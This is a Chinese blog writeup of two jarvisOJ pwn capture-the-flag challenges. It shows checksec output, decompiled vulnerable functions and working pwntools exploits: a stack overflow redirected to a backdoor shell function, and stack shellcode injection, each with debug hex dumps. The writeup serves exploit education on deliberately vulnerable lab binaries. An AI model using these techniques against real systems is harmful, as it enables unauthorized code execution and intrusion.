

jarvisOJ Pwn writeup

原创

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本文链接: <https://blog.csdn.net/KGYSaikou/article/details/116592784>

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1.level0

checksec一下

```
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
```

64位程序, 只开启了堆栈不可执行保护

用IDA打开

主函数非常简单, 输出Hello World以后调用vulnerable_function()函数, 并返回该函数的返回值

```
1 int __cdecl main(int argc, const char **argv, const char **envp)
2 {
3     write(1, "Hello, World\n", 0xDuLL);
4     return vulnerable_function();
5 }
```

vulnerable_function()函数内定义了一个字符变量buf, 用read函数读取字符串到buf中

```
1 ssize_t vulnerable_function()
2 {
3     char buf; // [rsp+0h] [rbp-80h]
4
5     return read(0, &buf, 0x200uLL);
6 }
```

这里我们可以发现, buf的距离rbp的长度为80h, 而read可以读取200h个字符, 会造成栈溢出

在函数列表中发现后门函数callsystem()

```
1 int callsystem()
2 {
3     return system("/bin/sh");
4 }
```

所以我们只要构造合适的payload, 将vulnerable_function()函数的返回地址改写成callsystem()函数的地址即可

exp如下:

```

from pwn import *

context.binary = './level0'
context.log_level = 'debug'
elf = context.binary

io = process("./level0")

payload = flat(cyclic(0x80 + 8) + elf.sym['callsystem'])
io.sendline(payload)
io.interactive()

```

运行后得到sh

```

L$ python3 exp.py
[*] '/home/kali/Desktop/level0'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './level0' argv=[b'./level0'] : pid 1299
[DEBUG] Sent 0x91 bytes:
00000000 61 61 61 61 62 61 61 61 63 61 61 61 64 61 61 61 |aaaa|baaa|caaa|daaa|
00000010 65 61 61 61 66 61 61 61 67 61 61 61 68 61 61 61 |eaaa|faaa|gaaa|haaa|
00000020 69 61 61 61 6a 61 61 61 6b 61 61 61 6c 61 61 61 |iaaa|jaaa|kaaa|laaa|
00000030 6d 61 61 61 6e 61 61 61 6f 61 61 61 70 61 61 61 |maaa|naaa|oaaa|paaa|
00000040 71 61 61 61 72 61 61 61 73 61 61 61 74 61 61 61 |qaaa|raaa|saaa|taaa|
00000050 75 61 61 61 76 61 61 61 77 61 61 61 78 61 61 61 |uaaa|vaaa|waaa|xaaa|
00000060 79 61 61 61 7a 61 61 62 62 61 61 62 63 61 61 62 |yaaa|zaab|baab|caab|
00000070 64 61 61 62 65 61 61 62 66 61 61 62 67 61 61 62 |daab|eaab|faab|gaab|
00000080 68 61 61 62 69 61 61 62 96 05 40 00 00 00 00 00 |haab|iaab|..@.|....|
00000090 0a
00000091
[*] Switching to interactive mode
[DEBUG] Received 0xd bytes:
b'Hello, World\n'
Hello, World
$

```

<https://blog.csdn.net/KGYSaikou>

2.level1

checksec一下

```

Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

```

32位程序 几乎没有开启保护

用IDA打开

```

1 int __cdecl main(int argc, const char **argv, const char **envp)
2 {
3     vulnerable_function();
4     write(1, "Hello, World!\n", 0xEu);
5     return 0;
6 }

```

很简单的主函数

vulnerable_function()函数

```

1 ssize_t vulnerable_function()
2 {
3     char buf; // [esp+0h] [ebp-88h]
4
5     printf("What's this:%p?\n", &buf);
6     return read(0, &buf, 0x100u);
7 }

```

函数输出了buf变量的地址，之后读取100h的字符

因为没有开启NX保护，所以可以直接向buf上写入shellcode，之后再跳转到buf的地址就可以执行shellcode
exp如下：

```

from pwn import *

context.binary = './level1'
context.log_level = 'debug'
elf = context.binary

io = process('./level1')

io.recvuntil('this:')
buf = int(io.recvuntil('?\\n', drop = True), 16)
shellcode = asm(shellcraft.sh())

payload = flat(shellcode, 'a'*(0x88 + 4 - len(shellcode)), buf)

io.sendline(payload)
io.interactive()

```

运行后得到sh

```

/* push 'sh\x00\x00' */
push 0x1010101
xor dword ptr [esp], 0x1016972
xor ecx, ecx
push ecx /* null terminate */
push 4
pop ecx
add ecx, esp
push ecx /* 'sh\x00' */
mov ecx, esp
xor edx, edx
/* call execve() */
push 11 /* 0xb */
pop eax
int 0x80
[DEBUG] /usr/bin/x86_64-linux-gnu-as -32 -o /tmp/pwn-asm-9irzcumb/step2 /tmp/pwn-asm-9irzcumb/st
ep1
[DEBUG] /usr/bin/x86_64-linux-gnu-objcopy -j .shellcode -Obinary /tmp/pwn-asm-9irzcumb/step3 /tm
p/pwn-asm-9irzcumb/step4
[DEBUG] Sent 0x91 bytes:
00000000 6a 68 68 2f 2f 2f 73 68 2f 62 69 6e 89 e3 68 01 |jhh//sh/bin..h.
00000010 01 01 01 81 34 24 72 69 01 01 31 c9 51 6a 04 59 |....4$ri..1.Qj.Y
00000020 01 e1 51 89 e1 31 d2 6a 0b 58 cd 80 61 61 61 61 |..Q.1.j.X.aaaa
00000030 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 |aaaaaaaaaaaaaaaa
*
00000080 61 61 61 61 61 61 61 61 61 61 61 61 61 a0 bd 85 ff |aaaa|aaaa|aaaa|....|
00000090 0a
00000091
[*] Switching to interactive mode
$

```